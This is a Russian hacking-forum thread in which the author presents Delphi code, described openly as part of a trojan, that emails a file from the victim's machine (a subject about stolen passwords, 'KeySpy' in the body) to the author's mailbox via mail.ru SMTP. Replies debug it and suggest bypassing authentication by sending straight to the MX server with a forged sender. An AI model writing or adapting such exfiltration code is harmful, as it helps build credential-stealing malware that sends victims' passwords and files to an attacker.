Delphi для новичков, или бойтесь данайцев, дары приносящих. Часть 1.

Discussion in 'Статьи' started by gadjet, 9 Mar 2006.

  1. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    На Ачате стали появляться статьи по кодингу, и я, будучи программистом, тоже захотел внести свою лепту в развитие этого раздела. Нет, я не буду объяснять вам, как сделать программу погони за бешенной кнопкой, я думаю, что эта тема очень отдаленно связана с хакингом. Сегодня я хочу рассказать о написании трояна - вернее, части трояна. Впрочем, созданную тулзу вы сможете вполне использовать и в мирных целях. И так, давайте напишем нечто вроде почтового клиента. Я думаю, не стоит объяснять, что многие трояны высылают каким-либо образом найденную информацию на мыло своему создателю. Сначала зарегим мыло на mail'е. Этот ящик потребуется нам для отправки писем. Давайте приступим к написанию проги. Вынесем на форму компоненты IdSMTP и IdMessage (вкладки Indy Clients и Indy Misc). Создадим процедуру отправки письма. Назовем ее SendMail:

    procedure SendMail;
    var
    LSMTP: TIdSMTP;
    LMsg: TIdMessage;
    x: TIdAttachment; //это - аттач письма

    Мы объявили переменные, теперь создаемся:

    begin //Ну начинаем :)
    LSMTP := TIdSMTP.Create(nil); //Создаемся
    LMsg := TIdMessage.Create(LSMTP);

    Отлично, пора приступать к написанию письма))

    with LMsg do
    begin
    Subject := 'Пароли Ламерюги'; // Здесь вводим тему
    Recipients.EMailAddresses := '[email protected]' ; // куда будет послано письмо...я пишу жене и дочке, точка.
    From.Text := '[email protected]'; //Зареганное мыло на мейле.
    Body.Add('Текст письма');
    x:=TIdAttachment.Create(LMsg.MessageParts,'Путь к файлу аттача'); //аттач письма

    end;
    with LSMTP do
    begin
    AuthenticationType:=atNone;
    Host := 'smtp.mail.ru';
    Port := 25;
    Username :='[email protected]' ; //зареганное мыло на мейле
    Password :='lol' ; //пароль к зареганному мылу на мейле
    try
    Connect; //зухель коннект!!
    Send(LMsg);
    except
    end;
    end;
    FreeAndNil(LMsg);
    FreeAndNil(LSMTP);

    end;


    Строчки
    try
    Connect;
    Send(LMsg);
    except
    добавленны для того, чтобы, если нет соединения с нетом, не вылетала ошибка (Конструкция try ... exept).
    Вот, собственно, и все. Вот полный листинг проги:

    procedure SendMail;
    var
    LSMTP: TIdSMTP;
    LMsg: TIdMessage;
    x: TIdAttachment;
    windir: array [0..255] of char;//Обьявлям переменные.
    begin //Ну начинаем :)
    LSMTP := TIdSMTP.Create(nil); //Создаемся
    LMsg := TIdMessage.Create(LSMTP);
    with LMsg do
    begin
    Subject := 'Пароли Ламерюги'; // Здесь вводим тему
    Recipients.EMailAddresses := '[email protected]' ; // куда будет послано письмо
    From.Text := '[email protected]'; //От кудыкина будет письмо
    Body.Add('KeySpy');

    x:=TIdAttachment.Create(LMsg.MessageParts,windir+'путь');




    end;
    with LSMTP do
    begin
    AuthenticationType:=atNone;
    Host := 'smtp.mail.ru';
    Port := 25;
    Username :='[email protected]' ;
    Password :='loxi' ;
    try
    Connect; //зухель коннект!!
    Send(LMsg);
    except
    end;
    end;
    FreeAndNil(LMsg);
    FreeAndNil(LSMTP);

    end;

    Просьба заценить статью.
     
    2 people like this.
  2. ascas

    ascas Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    56
    Likes Received:
    4
    Reputations:
    2
    Ну я все отшлифовал и скомпилировал, но на Send(msg) мне выдает socket error 10060. Это проблема с SMTP, когда я делал mail bomber на vb или C#, у меня тоже самое было, а когда я ставлю вместо mailовского SMTP свой локальный все посылает и доходит. Как у остальных все с этим делом нормально или таже хренотень?
     
  3. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Для ОСОБО ЛЕНИВЫХ:
    ОТКРЫВАЕМ WINERROR.H и ИШЕМ СТРОКУ "60"
    НАХОДИМ

    КРАСНЫМ НАПИСАНО: 10060 - ОШИБКА WINSOCKET - //
    // MessageId: ERROR_BAD_REM_ADAP
    //
    // MessageText:
    //
    // The remote adapter is not compatible.
    //
    #define ERROR_BAD_REM_ADAP 60L
     
    #3 KEZ, 9 Mar 2006
    Last edited: 9 Mar 2006
  4. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    А все это лучше делать не так, а получить АДРЕС mx-сервера локального юзера И СЛАТЬ через НЕГО без всяких smtp-серверов заданых юзером и паролей
     
  5. ascas

    ascas Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    56
    Likes Received:
    4
    Reputations:
    2
    А неподскажешь как получить этот адрес и как именно через него слать?
     
  6. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Как получить точно не подскажу. Но можно узнать у DNS сервера, прописаного в настройках.
    Как - читай RFC о DNS. (нужна какую-то UDP датаграмму послать)
    http://rfc.net/search.php3?phrase=DNS

    Я немного поискал в поисковиках, пока безрезультатно, везде такиеже тупые советы (прям как у меня) - но конкретно никто ничего незнает ...

    А слать само письмо очень просто
    подключись, пошли MAIL FROM: свойадрес
    RCPT TO: кому
    DATA
    тут текст
    .
    причем абсолютно всеравно, с какого емейла вы будете это слать, тоесть на поле MAIL FROM нет ограничений (кроме, наверное формата a@b), так будет всегда, т.к. если бы письма локального пользователя не принимались, не работала бы маршрутизация почты. мы просто делаем вид что мы сервер, через который было послано письмо. например с мыла [email protected] (через a.com) шлется письмо для [email protected] (сервер b.com)
    сервер b.com подключаетс к mx-серверу a.com, т.к. это локальный сервер для юзера [email protected], на который пошло письмо и без всякой авторизации и прочей ерунды передает ему письмо.

    чато бывает что адрес mx-сервера mx0.server (например mx0.myserver.com)
     
    #6 KEZ, 10 Mar 2006
    Last edited: 10 Mar 2006
    1 person likes this.
  7. ascas

    ascas Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    56
    Likes Received:
    4
    Reputations:
    2
    Короче довольно долго лазил по поисковикам, но единственное что нашел какой то обрывок кода. Автор говорит что он получает mx по dns, но я так и не понял на каком языке он написан, кажись на с++, ну короче может кто объяснит что это такое:

    use Net::DNS;
    my @mx = mx($domain);
     
  8. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    использование Net:NS для получение мх на перле